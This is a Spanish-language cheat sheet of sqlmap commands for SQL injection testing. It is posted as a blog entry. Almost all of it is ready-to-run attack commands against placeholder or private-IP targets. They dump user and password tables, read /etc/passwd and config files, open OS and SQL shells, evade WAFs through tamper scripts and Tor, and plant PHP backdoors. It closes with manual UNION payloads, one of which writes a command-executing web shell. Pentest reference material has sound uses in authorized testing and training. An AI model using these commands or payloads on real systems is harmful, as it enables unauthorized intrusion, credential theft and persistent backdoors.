Guía práctica de uso de sqlmap para pruebas de inyección SQL

sqlmap es una herramienta de código abierto diseñada para detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web. A continuación se presenta una guía técnica detallada sobre su uso.

Comandos básicos

python sqlmap.py --version
python sqlmap.py -hh
python sqlmap.py -u "http://192.168.117.135/app.php?id=1"
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" --dbs
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" -D ejemplo_db --tables
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" -D ejemplo_db -T usuarios --columns
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" -D ejemplo_db -T usuarios -C id,nombre,clave --dump
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" --os-shell
python sqlmap.py -u "http://192.168.117.135/app.php?id=1" --file-read "/var/www/html/config.php"

Uso avanzado con distinots vectores de ataque

sqlmap -r solicitud_http.txt
sqlmap -r solicitud_http.txt -p parametro_vulnerable
sqlmap -u "http://objetivo.com/page?id=1" --cookie="PHPSESSID=abc123"
sqlmap -u "http://objetivo.com/login" --data="user=admin&pass=test"
sqlmap -u "http://objetivo.com/page?id=1" --current-db
sqlmap -u "http://objetivo.com/page?id=1" --current-user
sqlmap -u "http://objetivo.com/page?id=1" --is-dba
sqlmap -u "http://objetivo.com/page?id=1" --users
sqlmap -u "http://objetivo.com/page?id=1" --passwords
sqlmap -u "http://objetivo.com/page?id=1" -D seguridad --tables
sqlmap -u "http://objetivo.com/page?id=1" -D seguridad -T credenciales --columns
sqlmap -u "http://objetivo.com/page?id=1" -D seguridad -T credenciales -C usuario --dump
sqlmap -u "http://objetivo.com/page?id=1" --dump-all
sqlmap -u "http://objetivo.com/page?id=1" --sql-shell
sqlmap -u "http://objetivo.com/page?id=1" --file-write local_shell.php --file-dest /var/www/html/shell.php
sqlmap -u "http://objetivo.com/page?id=1" --dbms MySQL
sqlmap -u "http://objetivo.com/page?id=1" --proxy=http://127.0.0.1:8080
sqlmap -u "http://objetivo.com/page?id=1" --technique=BEUST
sqlmap -u "http://objetivo.com/page?id=1" --tamper=space2comment,randomcase
sqlmap -u "http://objetivo.com/page?id=1" --level=5 --risk=3
sqlmap -u "http://objetivo.com/page?id=1" -v 3
sqlmap -u "http://objetivo.com/page?id=1" --threads=10
sqlmap -u "http://objetivo.com/page?id=1" --fresh-queries
sqlmap -u "http://objetivo.com/page?id=1" --flush-session
sqlmap -u "http://objetivo.com/page?id=1" --batch
sqlmap -u "http://objetivo.com/page?id=1" --safe-url "http://objetivo.com/home" --safe-freq=5
sqlmap -u "http://objetivo.com/page?id=1" --delay=2

Niveles de prueba (--level)

El parámetro --level define qué partes de la solicitud HTTP se analizan:

  • Nivel 1 (predeterminado): solo parámetros GET/POST.
  • Nivel 2: incluye cookies.
  • Nivel 3: incluye User-Agent y Referer.
  • Nivel 4-5: incluye cabeceras adicionales como Host.

Lectura y escritura de archivos

sqlmap -u "http://192.168.1.10/test.php?id=1" --file-read "/etc/passwd"
sqlmap -u "http://192.168.1.10/test.php?id=1" --file-write shell.php --file-dest "/var/www/html/backdoor.php"

Ejecución de comandos del sistema

sqlmap -u "http://192.168.1.10/test.php?id=1" --os-cmd="whoami"
sqlmap -u "http://192.168.1.10/test.php?id=1" --os-shell

Evasión de WAF y filtros

Para detectar y evadir firewalls de aplicaciones web:

sqlmap -u "http://objetivo.com/vuln.php?id=1" --identify-waf
sqlmap -u "http://objetivo.com/vuln.php?id=1" --random-agent
sqlmap -u "http://objetivo.com/vuln.php?id=1" --tamper=space2comment,base64encode,charencode
sqlmap -u "http://objetivo.com/vuln.php?id=1" --hpp
sqlmap -u "http://objetivo.com/vuln.php?id=1" --hex

Scripts tamper comunes

Script Función
space2comment.py Reemplaza espacios por /**/
randomcase.py Alterna mayúsculas/minúsculas aleatoriamente
charencode.py Codifica en URL
base64encode.py Codifica el payload en Base64
between.py Reemplaza > por NOT BETWEEN
equaltolike.py Reemplaza = por LIKE
versionedkeywords.py Envuelve palabras clave en comentarios versionados de MySQL

Parámetros útiles adicionales

  • -v [0-6]: nivel de verbosidad (6 muestra todo el tráfico HTTP).
  • --purge-output: elimina resultados anteriores.
  • --keep-alive: mantiene conexiones persistentes para evitar errores de red.
  • --mobile: emula un dispositivo móvil.
  • --tor: enruta el tráfico a través de Tor.

Ejemplo completo de extracción de datos

sqlmap -u "http://app.test/index.php?id=5" --current-db
sqlmap -u "http://app.test/index.php?id=5" --dbs
sqlmap -u "http://app.test/index.php?id=5" -D app_db --tables
sqlmap -u "http://app.test/index.php?id=5" -D app_db -T usuarios --columns
sqlmap -u "http://app.test/index.php?id=5" -D app_db -T usuarios -C email,clave --dump

Consideraciones para MySQL

Para leer/escribir archivos en MySQL, el servidor debe tener configurado:

secure_file_priv = ""

De lo contrario, las operaciones LOAD_FILE() e INTO OUTFILE estarán restringidas.

Inyección manual altenrativa (para referencia)

-- Leer archivo
?id=-1' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -

-- Escribir shell
?id=1' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -

Etiquetas: SQLMap inyección-SQL pentesting seguridad-web WAF-evasion

Publicado el 9-27 00:58